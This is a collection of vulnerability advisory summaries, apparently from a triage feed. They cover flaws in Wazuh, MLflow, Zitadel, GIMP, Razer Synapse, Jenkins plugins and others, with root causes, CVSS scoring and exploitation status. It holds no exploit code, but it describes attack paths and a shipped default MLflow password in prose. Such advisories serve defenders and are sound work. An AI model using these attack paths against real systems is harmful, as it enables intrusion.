Buffer over-read in the Wazuh manager before 4.12.0 allows an attacker who controls an enrolled agent to send a crafted message that causes strlen() to read past the end of a non-NULL-terminated buffer in OS_CleanMSG()/w_expression_match(), potentially leaking sensitive manager memory or disrupting the process. The flaw is a CWE-126 over-read rated medium severity by the independent assessment, and exploitation requires the ability to submit agent traffic to the manager, typically through a compromised or malicious enrolled agent. Publicly available exploit code exists, but no confirmed active exploitation (CISA KEV) is indicated.
Denial of service in Wazuh Manager (all versions prior to 4.11.0) allows an attacker who controls a compromised or otherwise enrolled Wazuh agent to crash the analysisd daemon by sending a specially crafted File Integrity Monitoring message whose time_string field is NULL, which is then passed to strlen() in fim_fetch_attributes_state() without a NULL check. Impact is confined to availability of the manager's analysis daemon - no confidentiality or integrity loss - and the daemon can be recovered by restart, though repeated messages can sustain the outage. Publicly available exploit code exists, but the flaw is not listed in CISA KEV and active exploitation has not been confirmed. Note that the published CVSS 4.0 vector carries PR:N, whereas our assessment scores PR:L because the attacker must first subvert or impersonate an agent that authenticates to the manager with a registered key.
Denial of service in the Wazuh manager prior to 4.11.0 allows an actor controlling or impersonating an enrolled agent to crash the analysisd daemon by delivering a crafted File Integrity Monitoring event. Because fim_alert() calls strdup() on a ctime_r() return value without checking for NULL, a malformed agent message drives a NULL-pointer dereference that terminates alert analysis on the manager. Publicly available exploit code exists, though the attack requires an existing agent foothold or the ability to inject into the agent-to-manager channel; impact is limited to availability of analysisd with no data exposure or modification. Fixed in 4.11.0.
Wazuh Manager releases before 4.10.2 contain a NULL-pointer dereference in analysisd's JSON and SCA decoders that lets a crafted agent message crash the daemon and make the manager unavailable. The flaw is availability-only: fillData()/FillScanInfo call os_strdup() on a NULL or non-string cJSON value without validating it, and exploitation requires an enrolled or compromised agent holding valid credentials (authenticated, PR:L per the assessed CVSS 3.1 vector). Publicly available exploit code exists, but no CISA KEV active-exploitation listing is associated with this CVE.
Use-after-free in Wazuh Manager (all releases prior to 4.11.0) lets an attacker who already controls a Wazuh agent send a crafted agent message that is handled by OS_CleanMSG() and later re-read by w_copy_event_for_log() after the underlying buffer has been freed, allowing previously freed memory to corrupt valid data and damage application integrity. Per the assessed vector the attack is network-reachable but requires authenticated agent-level access (PR:L) and high complexity (AC:H), with impact limited to low integrity and low availability; corruption is non-deterministic because it only manifests if the freed region is reallocated and reused elsewhere. Publicly available exploit code exists, but there is no confirmation of active exploitation (not listed in CISA KEV).
Heap-based out-of-bounds write in Wazuh Manager before 4.10.2 allows a trusted or compromised agent to send a malformed Windows permissions string through decode_win_permissions, writing a NULL byte two bytes before the decoded_it heap buffer and potentially crashing the manager. Public exploit code exists, but no CISA KEV confirmation is present; exploitation requires an existing agent-manager trust relationship and is highly dependent on the host heap allocator. Although the advisory raises potential remote code execution, the assessed CVSS 3.1 impact is availability-only (6.3 vendor CVSS 4.0), with the primitive strongly limiting escalation beyond denial of service.
Unauthenticated remote attackers can retrieve server version information from Azure Access BLU-IC2 and BLU-IC4 physical access-control intercom appliances running firmware 1.19.5 or earlier, exposing fingerprinting data that aids follow-on targeting. The CWE-306 classification (Missing Authentication for Critical Function) hints that the underlying weakness may be a missing authentication check rather than a purely cosmetic banner leak, but the description as written establishes only version disclosure, and our assessment scores it CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - confidentiality-only, no integrity or availability impact. EPSS is 0.35% (27th percentile), there is no CISA KEV entry, and no public exploit code has been identified at time of analysis; the practical risk is gated almost entirely by whether these appliances are reachable from untrusted networks.
Unauthenticated remote access to a critical function in Azure Access BLU-IC2/IC4 firmware through 1.19.5 lets a network attacker reach privileged functionality without credentials, with high impact to confidentiality, integrity, and availability on the device and on subsequent systems. The CVSS 4.0 base score is 10.0, matching the independent CVSS 3.1 assessment (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H), so practical risk is driven mainly by whether the management/network interface is reachable; EPSS is low at 0.34% (26th percentile) and no public exploit identified at time of analysis.
BLU-IC2 and BLU-IC4 firmware through version 1.19.5 ships with a non-compliant TLS configuration (CWE-326, inadequate encryption strength), meaning transport sessions can be protected by deprecated protocol versions, weak cipher suites, or insufficient key lengths. An attacker who can obtain a man-in-the-middle position on the network path between a client and the device could intercept, downgrade, or manipulate those sessions to disclose or alter data in transit. The vendor assigns a maximum 10.0 CVSS 4.0 score, but exploitation realistically depends on an on-path presence rather than direct remote access to an exposed service, integrity impact is limited, and no public exploit has been identified at time of analysis; EPSS is 0.24% (14th percentile).
Cross-site request forgery in Azure Access BLU-IC2 and BLU-IC4 firmware through 1.19.5 allows remote attackers to induce an authenticated administrator to submit forged state-changing requests to the web management interface because anti-CSRF tokens are not implemented. Exploitation requires a concurrent privileged session and victim interaction, so the supplied CVSS 4.0 score of 10.0 is likely inflated; the assessed CVSS 3.1 vector is AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. No public exploit was identified at time of analysis, and EPSS is 0.17% (percentile 6%).
Unauthenticated remote code execution in win-cli-mcp-server versions prior to 0.2.0, where the resolveCommandPath helper interpolates a caller-supplied command name into a shell string (`where "<command>"`) executed via Node's child_process exec, letting shell metacharacters break out of the quotes and run attacker-controlled commands as the service account. Because the same helper is used to resolve and validate commands, the injection also sidesteps the project's command-whitelist safeguard, and exploitation only requires that an attacker control the command string reaching the MCP server's execution path - conditions that are broadest when the server is exposed via a network-facing transport rather than a local stdio session. CVSS 3.0 scores this 9.8 (AV:N/AC:L/PR:N/UI:N, full C/I/A impact); no public exploit code or CISA KEV entry was identified at time of analysis, and the flaw is fixed in release 0.2.0, which removes resolveCommandPath entirely.
Unauthenticated remote code execution affects MLflow Tracking Server deployments that expose the REST API, because the /mlflow/model-versions/create endpoint accepts an attacker-controlled model source path without validating it before file operations. The CVSS 3.1 vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8), and the default configuration is vulnerable since the upstream fix adds an opt-in MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX control that performs no validation when unset. No public exploit code or CISA KEV entry was identified in the provided data; exploitation requires network reachability to the Tracking Server API.
MLflow's built-in basic authentication module (mlflow/server/auth) ships with and accepts trivially weak passwords - including the default admin credential 'password' in basic_auth.ini and self-service signups as short as 4 characters - so remote attackers can gain administrative access to an exposed tracking server simply by guessing or reusing the shipped default. Exploitation is unauthenticated from a network perspective (CVSS PR:N) but is not a true authentication-logic bypass: it requires the basic-auth module to be explicitly enabled and reachable, and it fails outright if the admin credential and user passwords were changed to strong values, which is why the independent assessment raises attack complexity to High and scores the issue 8.1 rather than the submitted 9.8. No public exploit code and no confirmed active exploitation were identified at time of analysis, and upstream has published a password-policy fix through a public commit.
Pre-authentication SQL injection in the WordPress plugin Contact Form CFDB7 (all versions up to and including 1.3.2) cascades into PHP object injection, allowing remote attackers to reach code paths that can fully compromise confidentiality, integrity, and availability of an affected WordPress site. The CVSS vector (AV:N/AC:L/PR:N) confirms the attack is remotely reachable and unauthenticated, and the plugin must simply be installed and active on the target - no valid account or victim action is required in practice. Exploitation status is unconfirmed: there is no CISA KEV entry and no public exploit code identified at time of analysis, and the EPSS score is low at 0.33% (24th percentile), so this appears to be a severe but not yet broadly exploited issue; it was disclosed by Mandiant (MNDT-2025-0006).
Arbitrary shell command execution on the Jenkins controller is possible through the Azure CLI Plugin 0.9 and earlier, which does not restrict which commands it runs. An authenticated Jenkins user holding Item/Configure permission can craft a job configuration that causes the plugin to execute attacker-chosen shell commands on the controller, yielding high confidentiality, integrity, and availability impact (CVSS 3.1 base 8.8, AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H); exploitation requires no user interaction and no non-default plugin setting. There is no evidence of active exploitation and no public exploit identified at time of analysis, and EPSS is low (0.61%, 48th percentile), though the required privilege is comparatively common in environments where job-configuration rights are broadly granted.
Zitadel's password reset flow builds the emailed confirmation URL from the request's Forwarded or X-Forwarded-Host header, so an attacker who can inject a forged host value can make the reset link point at a domain they control and harvest the embedded secret code when the victim clicks it, leading to account takeover. Affected are self-hosted deployments prior to 4.6.0, 3.4.3, and 2.71.18, with impact also shown in versions as old as 2.71.17 and 3.4.2; unauthenticated remote attackers (CVSS 3.1 PR:N) are the relevant threat, though the attack requires victim interaction (UI:R) and knowledge of the target's email address. Accounts protected by MFA or Passwordless are explicitly out of reach because the stolen reset code alone cannot satisfy the second factor, and no public exploit code or CISA KEV confirmation is present at time of analysis - risk is real but condition-dependent, concentrated on password-only accounts behind no header-sanitizing proxy.
GitLab Enterprise Edition versions 17.1 through before 18.3.5, 18.4.x before 18.4.3, and 18.5.0 before 18.5.1 contain a missing authorization flaw (CWE-862) that lets an authenticated user with specific project-level permissions hijack project runners owned by other projects. The CVSS 3.1 vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (8.8 High), reflecting network reachability, low complexity, low-level authenticated access, no user interaction, and high confidentiality, integrity, and availability impact. No public exploit was identified at time of analysis.
Unauthenticated remote access to the exposed ASP.NET tracing endpoint /trace.axd in Vertikal Systems' Hospital Manager Backend Services (versions prior to the September 19, 2025 fix) discloses live request traces containing sensitive data such as session identifiers, authorization headers, server variables, internal file paths, and request metadata. The endpoint requires no credentials, user interaction, or special tooling - a single HTTP request (CVSS 4.0 base 8.7, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) is sufficient - with confidentiality impact rated High and no integrity or availability impact. No public exploit code or confirmed active exploitation has been identified at time of analysis, and no EPSS score was provided; risk hinges primarily on whether the backend service is network-reachable and whether tracing remains enabled. This is a genuine, high-confidence information-disclosure issue rather than a theoretical high-CVSS inflation, and the fact that exploitable data is returned from production traffic makes post-exposure credential and session rotation important.
Second-factor bypass in Zitadel lets a session be treated as fully authenticated after only one authentication factor is verified, so an account with TOTP, U2F, OTP-SMS, or OTP-Email enrolled can be accessed with just the standalone 6-digit code and no password. The flaw affects deployments using the session API v2/v2-beta or the new login UI in Zitadel 4.0.0 through 4.5.0, 3.0.0 through 3.4.2, and 2.53.6 through 2.71.17, but only when the login policy has neither requireMFA nor requireMFAForLocalUsers enabled and the targeted user self-enrolled a second factor anyway. Exploitation requires a low-privileged position (CVSS PR:L) - the attacker must already hold or guess one valid factor, with the brute-forceable six-digit TOTP code being the cheapest entry point - and no public exploit code has been identified at time of analysis, with no CISA KEV listing.
Cross-site request forgery in the FluxCP control panel for rAthena/Ragnarok servers lets an unauthenticated attacker (CVSS PR:N, UI:P) who can lure a logged-in administrator or player into visiting an attacker-controlled page silently execute state-changing actions - including high-integrity operations - through the victim's authenticated session, yielding High confidentiality and integrity impact with no availability impact. The flaw affects the FluxCP website template deployed across multiple rAthena/Ragnarok installations whose POST handlers authorize requests using only the session cookie, with no per-request anti-CSRF token and no robust Origin/Referer validation. No public exploit code or in-the-wild exploitation activity has been identified at time of analysis, and EPSS is low at 0.20% (9th percentile), though the vendor GitHub advisory rates it 8.6 High under CVSS 4.0 while an independent assessment scores it 8.1-class under CVSS 3.1; the weakness is fixed by upstream commit e3f130c.
Arbitrary code execution in the WTW EAGLE 3.0.8.0 (Windows) installer stems from an uncontrolled DLL search path (CWE-427) that lets the installer load a library from a location an attacker may control. An unauthenticated attacker able to place a malicious DLL with a name the installer expects into its search path - in practice the folder the installer is launched from, such as the victim's Downloads directory - gains code execution with the privileges of the running installer once the victim starts it, so exploitation hinges on local file placement plus mandatory user interaction (UI:A/UI:R) rather than remote or automatic triggering. Reported to JVN by JPCERT/CC, the issue is not listed in CISA KEV, no public exploit code has been identified at time of analysis, and EPSS is low at 0.16% (5th percentile), which is consistent with a targeted rather than mass-exploited flaw. Note that the vendor's own CVSS 4.0 score of 8.4 and our independent CVSS 3.1 assessment (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) both treat this as unauthenticated but requiring a local placement step and deliberate user execution, with impact confined to the installer process rather than guaranteeing SYSTEM.
Unauthenticated remote denial-of-service in Progress MOVEit Transfer's AS2 module allows attackers to exhaust server resources, causing service unavailability. Affected versions are 2025.0.0 before 2025.0.3, 2024.1.0 before 2024.1.7, and 2023.1.0 before 2023.1.16. Exploitation requires the AS2 module to be enabled and network-reachable; no public exploit code or active exploitation has been identified, and EPSS is low at 0.48%, indicating a moderate availability risk rather than a top-tier emergency.
Parsing a maliciously crafted CO design file in Ashlar-Vellum Cobalt 12.2.1204.97 (the version identified in the CPE data) can trigger a use-after-free that allows arbitrary code execution in the context of the user running the application. The CVSS 3.1 vector (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 7.8) shows the flaw is reachable without authentication (PR:N) but is not remotely reachable as a service: it is a local-vector issue that requires mandatory user interaction, meaning the victim must open the file or visit a page that serves it, and any code runs at the privileges of the current, normally non-elevated user (no scope change). Reported through Trend Micro's Zero Day Initiative as ZDI-CAN-26631 / ZDI-25-956, the issue has no confirmed active exploitation (not in CISA KEV) and no public exploit code identified at time of analysis; EPSS is low at 0.21% (11th percentile), consistent with a targeted, file-delivery-dependent client-side bug rather than a mass-exploited one.
Heap-based buffer overflow in Ashlar-Vellum Cobalt 12.2.1204.97 allows attackers to execute arbitrary code when a user opens a malicious CO file. The vulnerability requires user interaction (UI:R) and executes code in the context of the current user process; despite the 'remote code execution' label, it is not network-reachable without a lure. No public exploit has been identified at time of analysis, and EPSS indicates a low likelihood of exploitation (0.21%).
Integer overflow in the XE file-parsing routine of Ashlar-Vellum Cobalt 12.2.1204.97 lets an attacker execute arbitrary code in the context of the running process when a user opens a maliciously crafted XE file or visits a page that delivers one. Because the flaw is reached through local file parsing (AV:L) and requires the victim to be socially engineered into opening attacker-supplied content (UI:R), it is a genuine but non-urgent risk: there is no network-reachable attack surface independent of user action, and code runs only with the privileges of the user running Cobalt, with no scope change. No public exploit code has been identified at time of analysis, the vulnerability is not confirmed actively exploited (no CISA KEV listing), and EPSS is low at 0.20% (9th percentile), reflecting limited observed exploitation activity.
Local privilege escalation in Razer Synapse 3 lets an attacker who already holds a low-privileged foothold on a Windows host escalate to SYSTEM by exploiting a link-following flaw in the Razer Chroma SDK installer. By planting a symbolic link that the privileged installer follows during its file operations, the attacker can force deletion of an arbitrary file and pivot to code execution in the SYSTEM context. Exploitation requires local access plus the ability to create a symlink and the vulnerable installer component to be present, with no user interaction needed; no public exploit code has been identified at time of analysis and the EPSS score is low (0.19%, 8th percentile), making this a credible but moderate-priority local escalation issue.
Local privilege escalation in Razer Synapse 3 allows an attacker who already holds a low-privileged foothold on a Windows host to abuse the Philips HUE module uninstaller's link-following file operation and delete arbitrary files as SYSTEM, then leverage that to execute code with SYSTEM privileges. Affected installations are those running the Razer Synapse 3 software with the Philips HUE module present; the flaw is a classic symbolic-link (CWE-59) issue in a privileged installer/uninstaller routine. There is no remote vector - the attacker must already be able to run code and write to the targeted filesystem location - and no public exploit code was identified at time of analysis, with EPSS at 0.19% (8th percentile).
Local privilege escalation in Razer Synapse 3 lets an attacker who already has low-privileged code execution on a Windows host abuse the SYSTEM-privileged Razer Synapse Service's Macro Module to follow an attacker-created symbolic link, causing the service to delete arbitrary files and ultimately execute code as SYSTEM. Exploitation requires Synapse 3 installed with its service running (the default state after installation) and local access only - the assessed vector is CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, so there is no remote or unauthenticated path and no user interaction is needed. Risk is real but context-limited: EPSS is 0.19% (8th percentile), the flaw is not in CISA KEV, and no public exploit code has been identified at time of analysis; practical exposure is confined to multi-user systems or environments where an attacker has already gained an initial low-privilege foothold.
Privilege escalation in Arista EOS allows a restricted, authenticated CLI user to break out of the CLI sandbox into the underlying system shell and elevate to full privileges. The flaw is scored 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H): exploitation is local, requires an existing valid low-privilege CLI account, needs no user interaction, and is low complexity, delivering high confidentiality, integrity, and availability impact once the sandbox is escaped. There is no confirmed active exploitation (not listed in CISA KEV) and no public exploit identified at time of analysis, so realistic risk is confined to malicious insiders or attackers who already hold a limited foothold on the device.
GIMP 3.0.4 contains a heap-based buffer overflow in its XWD file parser that can allow arbitrary code execution when a crafted XWD file is opened by the victim. The root cause is missing validation of user-supplied length data before copying into a heap buffer (CWE-122); because the vector is local and requires user interaction, code execution is limited to the privileges of the GIMP process, making this a moderate-priority, context-dependent flaw rather than an urgent mass-exploitation threat. No public exploit was identified at time of analysis, and a vendor patch is available.
Stack-based buffer overflow in GIMP's ILBM (Amiga IFF) image parser allows arbitrary code execution in the context of the user who opens a crafted file. CPE data identifies GIMP 3.0.4 as affected, and exploitation requires user interaction because the victim must open a malicious ILBM image or visit a page that causes one to be opened. No public exploit was identified at time of analysis, but the vendor has published an upstream fix (merge request 2450) and ZDI advisory ZDI-25-914.
Integer overflow in GIMP 3.0.4's FF file parser allows attackers to execute arbitrary code in the context of the current process when a user opens a crafted FF file or visits a page triggering GIMP to process one. The vulnerability requires mandatory user interaction and local delivery (CVSS 3.1 AV:L/UI:R, PR:N), so it is not network-facing or unattended; exploitation hinges on convincing the victim to open an attacker-supplied file. Publicly available exploit code exists via the ZDI advisory, though no confirmed active exploitation (CISA KEV) is reported; a vendor fix is available through GNOME GitLab merge request 2448.
Integer overflow in GIMP's WBMP image parser, confirmed in version 3.0.4, allows arbitrary code execution in the context of the user running GIMP when a crafted WBMP file is opened. Exploitation requires user interaction-typically opening a malicious file or visiting a page that delivers it-and the local attack vector means the attacker cannot trigger the flaw without victim action. No public exploit code or CISA KEV confirmation was identified at time of analysis, and an upstream fix commit is available.
Heap-based buffer overflow in GIMP 3.0.4's DCM file parser allows arbitrary code execution when a user opens a crafted .dcm image; the code runs with the privileges of the GIMP process. Exploitation requires user interaction and no authentication, and no public exploit has been identified at time of analysis. The vendor has published an upstream fix commit, and Debian 11 users should review the LTS advisory; the client-side file-open prerequisite keeps practical exposure lower than a remotely reachable service.
Heap-based buffer overflow in GIMP 3.0.4's Radiance HDR file parsing, handled through the GEGL library, can execute arbitrary code in the context of the user who opens a crafted .hdr file. Confirmed affected references are GIMP 3.0.4 and the GEGL build shipped with Debian 11; exploitation requires user interaction with a malicious file and runs only with the opening user's privileges. No public exploit or CISA KEV entry is identified at time of analysis, and a vendor patch is available.
Out-of-bounds write in GIMP 3.0.4's ICNS file parser can execute arbitrary code when a victim opens or previews a crafted icon file, but the attack is local and requires user interaction rather than network reachability. The parser fails to validate user-supplied data before writing past the end of an allocated buffer, so code runs with the privileges of the user running GIMP. No public exploit was identified at time of analysis; the vendor has an upstream fix referenced in a GIMP merge request.
Local privilege escalation in ThreatFire System Monitor 4.7.0.53 lets an authenticated low-privileged user abuse an insecure IOCTL in its kernel driver to gain SYSTEM-level control. The flaw is an improper access-control weakness (CWE-284) rated CVSS 3.1 7.8 with vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, so it requires local access and an already-authenticated account on a host where the vulnerable driver is loaded; there is no remote network vector. No public exploit was identified at time of analysis, and exposure is limited by the rare presence of this discontinued product.
Online brute-force protection gaps in Zitadel identity infrastructure let remote attackers with a known username repeatedly guess passwords, TOTP codes, and SMS/email OTP codes against default-configured deployments prior to 4.6.0, 3.4.3, and 2.71.18, potentially resulting in account impersonation. The lockout policy that would throttle guesses is disabled by default and was never applied to the newer resource-based session APIs at all, while the vendor's fix (GHSA-xrw9-r35x-x878) enforces the policy everywhere and adds a progressive delay ('tar pit') enabled by default. Rated CVSS v3.1 7.7 (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) and CVSS v4.0 7.7 by the vendor; no public exploit code was identified at time of analysis and the flaw is not in CISA KEV.
Local file inclusion in the ThimPress Eduma WordPress theme (versions through 5.7.6) enables authenticated attackers with a low-privilege account to read arbitrary local files, potentially exposing wp-config.php credentials and other sensitive data. Exploitation requires a valid WordPress session (PR:L) and high attack complexity (AC:H) with no user interaction; sites with open user registration are at greater risk, while closed-registration sites substantially limit exposure. No public exploit code or active exploitation has been identified at time of analysis, and EPSS is low (0.48%, 39th percentile).
Authentication replay in the Jenkins SAML Plugin 4.583.vc68232f7018a_ and earlier allows an attacker who can obtain a legitimate user's SAML authentication flow (for example via network interception or a man-in-the-middle position) to replay those requests and authenticate to Jenkins as that user. The flaw is rooted in the plugin's failure to implement a replay cache, and exploitation additionally requires a real user to actually perform the SAML authentication, which is why the assessed CVSS vector carries AC:H and UI:R despite a 7.5 base score. There is no public exploit identified at time of analysis and the issue is not listed in CISA KEV; EPSS is low at roughly 0.47% (39th percentile), so this is a real but conditional risk affecting only instances where the SAML plugin is installed and configured as the security realm.
Denial of service in ISC Kea's kea-dhcp4 DHCPv4 server (versions 3.0.1 and 3.1.1 through 3.1.2) lets a remote, unauthenticated attacker crash the daemon by sending DHCPv4 messages containing certain crafted option content, taking the DHCP service down for the whole subnet. The flaw is conditional: it is reachable only when the operator has set ddns-qualifying-suffix to a non-empty value while leaving hostname-char-set at its default ('[^A-Za-z0-9.-]') and hostname-char-replacement empty; DDNS updates themselves do not need to be enabled for the crash to occur. Exploitation results in availability loss only (CVSS 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H); there is no confirmed active exploitation (not in CISA KEV), no public exploit code identified at time of analysis, and EPSS is low at 0.42% (34th percentile).
Local file inclusion in Majestic Support WordPress plugin versions ≤1.0.7 allows authenticated attackers with low-level privileges to include arbitrary PHP files from the server filesystem via improper filename control in include/require statements. With CVSS 7.5 (High), the vulnerability requires high attack complexity but can lead to complete confidentiality, integrity, and availability compromise. EPSS score of 0.10% (28th percentile) suggests low probability of mass exploitation. No public exploit code identified and not present in CISA KEV at time of analysis, though Patchstack tracking indicates vendor awareness.
Restricted SSH users on Arista EOS can exploit improper permission assignment (CWE-732) to use SSH port forwarding to reach host-internal services normally inaccessible to their role, enabling information disclosure and limited integrity impact. Exploitation requires an authenticated restricted account and SSH forwarding to be enabled; the assessed vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N. No public exploit identified at time of analysis.
SQL injection in the langgraph-checkpoint-sqlite store (versions up to and including 2.0.10) lets an attacker who can influence the filter keys passed to SqliteStore.search() and related methods inject arbitrary SQL into json_extract() JSON-path expressions, bypassing access controls and reading records that should be restricted - for example retrieving 'private' documents alongside 'public' ones. Publicly available exploit code exists in the form of a full proof-of-concept published with the GitHub advisory GHSA-7p73-8jqx-23r8, though EPSS is low (0.19%, 8th percentile) and there is no CISA KEV entry indicating active exploitation. The assessed vector is local and authenticated (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N, base 7.3) and, critically, reachability is conditional: an application is only exposed if it instantiates SqliteStore from the checkpoint-sqlite package AND builds the filter argument from untrusted or user-supplied keys; LangSmith/LangGraph Platform deployments are not affected because they use a different checkpointer implementation.
An XML external entity (XXE) injection flaw in the Jenkins JDepend Plugin 1.3.1 and earlier lets authenticated users who can influence the XML processed by the plugin - such as a JDepend report or Maven project input via job configuration - cause the Jenkins controller to resolve attacker-supplied external entities, potentially disclosing local files and enabling server-side request forgery. The weakness originates in the outdated JDepend Maven Plugin bundled with this niche, non-default plugin, which does not disable external entity resolution in its XML parser. Exploitation requires a valid Jenkins account with at least job configure or build-triggering rights (CVSS PR:L), so this is an authenticated issue rather than an unauthenticated remote compromise; no public exploit has been identified at the time of analysis and the EPSS score of 0.35% (27th percentile) indicates a low likelihood of exploitation, placing this well below genuinely urgent issues.
Out-of-bounds read in the Linux kernel's ksmbd in-kernel SMB server allows a 4-byte read past a declared IPC payload boundary when handle_response() in transport_ipc.c dereferences a message handle without first validating that the payload is at least 4 bytes long. The flaw is triggered by a malformed or truncated message from the userspace ksmbd.mountd helper, potentially leaking a small amount of adjacent kernel memory or crashing the kernel. There is no public exploit identified at time of analysis, it is not in CISA KEV, and EPSS is low at 0.19% (9th percentile).
Reflected cross-site scripting, reachable through a cross-site request forgery path, affects the Allegro Marketing 'hpb seo' plugin for WordPress in every version up to and including 3.0.1. Because the affected plugin action does not enforce a CSRF nonce/token, a remote attacker can socially engineer a victim holding an active (typically authenticated) WordPress session into visiting a crafted page or link, causing attacker-controlled input to be reflected and executed as script in that victim's browser with low confidentiality, integrity, and availability impact under a changed scope (CVSS 7.1, PR:N/UI:R/S:C). Exploitation requires user interaction and the presence of this specific niche plugin, no public exploit code has been identified at time of analysis, and the EPSS score is only 0.13% (2nd percentile), so this is a LOW real-world priority despite the 7.1 base score.
Unauthenticated information disclosure in Epsilon RH (Grupo Castilla) allows remote attackers to retrieve license details and the set of installed modules by directly requesting the unprotected '/epsilonnet/License/About.aspx' path. The vulnerability is rated CVSS 4.0 6.9 (moderate) and requires only network reachability to an exposed Epsilon RH web deployment, with no authentication or user interaction. No public exploit code or active exploitation (CISA KEV) has been identified at time of analysis, and EPSS is low at 0.30% (percentile 21%).
ABB Terra AC wallbox firmware through version 1.8.33 contains a classic buffer overflow (CWE-120) that allows an attacker on the adjacent network with high privileges to corrupt memory, leading to high integrity and availability impact. Exploitation requires the attacker to already be authenticated with elevated rights and to be on the same local network or within wireless range; no public exploit code is identified at time of analysis and EPSS is low (0.21%, 10th percentile). The issue is not confirmed as actively exploited (no CISA KEV entry).
Hospital Manager Backend Services prior to September 19, 2025 discloses verbose ASP.NET error pages to unauthenticated remote attackers when configured with customErrors mode='Off', enabling reconnaissance via framework/version metadata, stack traces, and internal paths. This low-to-moderate CWE-209 issue was remediated prior to that date, and no public exploit has been identified at time of analysis.